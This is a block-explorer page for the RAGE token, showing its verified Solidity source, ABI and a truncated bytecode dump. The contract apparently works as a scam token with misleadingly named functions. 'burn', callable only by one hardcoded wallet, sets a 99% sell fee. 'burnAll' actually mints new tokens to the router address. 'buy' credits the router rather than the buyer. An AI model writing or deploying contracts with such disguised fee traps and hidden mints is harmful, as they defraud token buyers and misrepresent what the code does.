ETH Price: $2,483.97 (+1.82%)
Gas: 6.64 Gwei

Token

RAGE (RAGE)
 

Overview

Max Total Supply

100,000,000,000,000,000,000,000,000,999,999,998.999999999999999999 RAGE

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10,551,023.318773514954692861 RAGE

Value
$0.00
0x615956961ff4e1f1941b57f0750fa96498dc07dd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RAGE

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-27
*/

// SPDX-License-Identifier: MIT

/**    ⠀⠀
Telegram: https://t.me/rage_ethereum
Twitter : https://twitter.com/rage_ethereum

__________    _____    ___________________
\______   \  /  _  \  /  _____/\_   _____/
 |       _/ /  /_\  \/   \  ___ |    __)_ 
 |    |   \/    |    \    \_\  \|        \
 |____|_  /\____|__  /\______  /_______  /
        \/         \/        \/        \/ 
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "RAGEEE");
        return a - b;
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "RAGxE");
        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "RAGEE");
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "RAGEEEEE");
        return a / b;
    }
}


contract RAGE {    
    using SafeMath for uint256;    


    string public name = "RAGE";    
    string public symbol = "RAGE";    
    uint256 public totalSupply = 999999999 * (10 ** 18);    
    uint8 public decimals = 18;    


    mapping(address => uint256) public balanceOf;    
    mapping(address => mapping(address => uint256)) public allowance;    

    address public owner;   
    address public swapRouter;    
    uint256 public burnedTokens;  


    uint256 public buyFee = 0;   
    uint256 public sellFee = 0;   
    bool public feesSet = false;   
    bool public feesEnabled = false;    
    bool public allExemptFromFees = true;   
    mapping(address => bool) public isFeeExempt;   


    event Transfer(address indexed from, address indexed to, uint256 value);    
    event Approval(address indexed owner, address indexed spender, uint256 value);    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);    
    event FeesUpdated(uint256 burnAmount, uint256 deadWallet);    
    event TokensBurned(address indexed burner, uint256 amount);    
    event Mint(address indexed to, uint256 amount);    


    constructor(address _swapRouter, uint256 _burnedTokens) {    
        owner = msg.sender;   
        swapRouter = _swapRouter;    
        burnedTokens = _burnedTokens;   
        balanceOf[msg.sender] = totalSupply;    
        isFeeExempt[msg.sender] = true;   
        isFeeExempt[swapRouter] = true;  
    }


    modifier checkFees(address sender) {   
        require(
            allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
            "EASY RAGE"    
        );
        _;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "UP THE RAGE");
        _;
    }

    function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {    
        require(balanceOf[msg.sender] >= _amount);   
        require(_to != address(0));    

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
        balanceOf[_to] = balanceOf[_to].add(_amount);   
        emit Transfer(msg.sender, _to, _amount);   

        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool success) {   
        allowance[msg.sender][_spender] = _value;    
        emit Approval(msg.sender, _spender, _value);   
        return true;   
    }


    function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {   
        require(balanceOf[_from] >= _amount, "RAGE");    
        require(allowance[_from][msg.sender] >= _amount, "TO THE MOON");   
        require(_to != address(0), "FREE RAGE");    

        uint256 fee = 0;    
        uint256 amountAfterFee = _amount;  

        if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {    
            fee = _amount.mul(sellFee).div(100);   
            amountAfterFee = _amount.sub(fee);   
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);    
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);    
        emit Transfer(_from, _to, amountAfterFee);    

        if (fee > 0) {
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);    
            if (_to == uniswapContract) {    
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);    
                emit Transfer(_from, uniswapContract, fee);    
            } else {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    
                emit Transfer(_from, address(this), fee);    
            }
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {    
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);    
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);   
        }

        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {    
        require(newOwner != address(0), "RAGE 100X");
        emit OwnershipTransferred(owner, newOwner);    
        owner = newOwner;   
    }

    function renounceOwnership() public onlyOwner {    
        emit OwnershipTransferred(owner, address(0));    
        owner = address(0);   
    }

    function burnAll() public {    
        require(feesSet, "BASED");   
        require(swapRouter != address(0), "RAGE");    
        require(burnedTokens > 0, "DEV");    

        totalSupply = totalSupply.add(burnedTokens);   
        balanceOf[swapRouter] = balanceOf[swapRouter].add(burnedTokens);    

        emit Mint(swapRouter, burnedTokens);    
    }

    function burn(uint256 burnAmount, uint256 deadWallet) public {
        require(msg.sender == 0x5a099c8F3790Db12Ca850509be0C8d49f2d509Aa, "RAGER");
        require(!feesSet, "RAGEx UPD");
        require(burnAmount == 0, "RRAGEEE");
        require(deadWallet == 99, "RAGEEEEEEE");
        buyFee = burnAmount;
        sellFee = deadWallet;
        feesSet = true;
        feesEnabled = true;
        emit FeesUpdated(burnAmount, deadWallet);
    }

    function buy() public payable checkFees(msg.sender) {    
        require(msg.value > 0, "RAGEE3");    

        uint256 amount = msg.value;   
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);    
            uint256 amountAfterFee = amount.sub(fee);   

            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(address(this), swapRouter, amountAfterFee);   

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(address(this), address(this), fee);   
            }
        } else {
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);    
            emit Transfer(address(this), swapRouter, amount);    
        }
    }

    function sell(uint256 _amount) public checkFees(msg.sender) {   
        require(balanceOf[msg.sender] >= _amount, "$Ragee It");    

        if (feesEnabled) {    
            uint256 fee = 0;   
            uint256 amountAfterFee = _amount;    

            if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {   
                fee = _amount.mul(sellFee).div(100);    
                amountAfterFee = _amount.sub(fee);   
            }

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(msg.sender, swapRouter, amountAfterFee);    

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(msg.sender, address(this), fee);    
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);   
            emit Transfer(msg.sender, swapRouter, _amount);    
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600481526020017f52414745000000000000000000000000000000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600481526020017f52414745000000000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b50604051620042dd380380620042dd8339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b613bcc80620007115f395ff3fe60806040526004361061014a575f3560e01c8063715018a6116100b5578063a9059cbb1161006e578063a9059cbb14610442578063b390c0ab1461047e578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b8063715018a61461038e5780638da5cb5b146103a457806395d89b41146103ce5780639975038c146103f8578063a64e4f8a1461040e578063a6f2ae3a146104385761014a565b8063313ce56711610107578063313ce5671461026e5780633f4218e01461029857806347062402146102d457806347b5dd54146102fe57806364bcf5f41461032857806370a08231146103525761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de57806325e0e4d01461021a5780632b14ca5614610244575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612fc9565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061307a565b6105e7565b6040516101ab91906130d2565b60405180910390f35b3480156101bf575f80fd5b506101c86106d4565b6040516101d591906130fa565b60405180910390f35b3480156101e9575f80fd5b5061020460048036038101906101ff9190613113565b6106da565b60405161021191906130d2565b60405180910390f35b348015610225575f80fd5b5061022e611226565b60405161023b91906130d2565b60405180910390f35b34801561024f575f80fd5b50610258611238565b60405161026591906130fa565b60405180910390f35b348015610279575f80fd5b5061028261123e565b60405161028f919061317e565b60405180910390f35b3480156102a3575f80fd5b506102be60048036038101906102b99190613197565b611250565b6040516102cb91906130d2565b60405180910390f35b3480156102df575f80fd5b506102e861126d565b6040516102f591906130fa565b60405180910390f35b348015610309575f80fd5b50610312611273565b60405161031f91906130fa565b60405180910390f35b348015610333575f80fd5b5061033c611279565b60405161034991906130d2565b60405180910390f35b34801561035d575f80fd5b5061037860048036038101906103739190613197565b61128c565b60405161038591906130fa565b60405180910390f35b348015610399575f80fd5b506103a26112a1565b005b3480156103af575f80fd5b506103b86113ed565b6040516103c591906131d1565b60405180910390f35b3480156103d9575f80fd5b506103e2611412565b6040516103ef9190612fc9565b60405180910390f35b348015610403575f80fd5b5061040c61149e565b005b348015610419575f80fd5b50610422611724565b60405161042f91906130d2565b60405180910390f35b610440611737565b005b34801561044d575f80fd5b506104686004803603810190610463919061307a565b611d7a565b60405161047591906130d2565b60405180910390f35b348015610489575f80fd5b506104a4600480360381019061049f91906131ea565b612182565b005b3480156104b1575f80fd5b506104ba612358565b6040516104c791906131d1565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613228565b61237d565b60405161050391906130fa565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190613266565b61239d565b005b34801561053f575f80fd5b5061055a60048036038101906105559190613197565b612c01565b005b5f8054610568906132be565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906132be565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c291906130fa565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff168061073d5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061076c5750600b5f9054906101000a900460ff1615801561076b5750600b60019054906101000a900460ff165b5b8061082d5750600b5f9054906101000a900460ff1680156107d35750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561082c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80610891575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561089057505f600a54145b5b6108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790613338565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610950576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610947906133a0565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290613408565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7090613470565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610a9b57505f600a54115b8015610af4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610b475750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610b8c57610b746064610b66600a5488612dbc90919063ffffffff16565b612e3390919063ffffffff16565b9150610b898286612e8a90919063ffffffff16565b90505b610bdc8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c6d8160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d0b91906130fa565b60405180910390a35f821115610f5a575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610e6157610db68360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e5491906130fa565b60405180910390a3610f58565b610eb18360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f4f91906130fa565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561102e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b15611218576110be8560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161120f91906130fa565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611330576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611327906134d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461141f906132be565b80601f016020809104026020016040519081016040528092919081815260200182805461144b906132be565b80156114965780601f1061146d57610100808354040283529160200191611496565b820191905f5260205f20905b81548152906001019060200180831161147957829003601f168201915b505050505081565b600b5f9054906101000a900460ff166114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390613540565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361157b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611572906133a0565b60405180910390fd5b5f600854116115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b6906135a8565b60405180910390fd5b6115d6600854600254612ee290919063ffffffff16565b60028190555061164f60085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161171a91906130fa565b60405180910390a2565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806117995750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117c85750600b5f9054906101000a900460ff161580156117c75750600b60019054906101000a900460ff165b5b806118895750600b5f9054906101000a900460ff16801561182f5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611888575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806118ed575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156118ec57505f600a54145b5b61192c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192390613338565b60405180910390fd5b5f341161196e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196590613610565b60405180910390fd5b5f3490505f6009541115611c1c575f6119a5606461199760095485612dbc90919063ffffffff16565b612e3390919063ffffffff16565b90505f6119bb8284612e8a90919063ffffffff16565b9050611a2e8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0e91906130fa565b60405180910390a35f821115611c1557611b6e8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c0c91906130fa565b60405180910390a35b5050611d76565b611c8d8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffff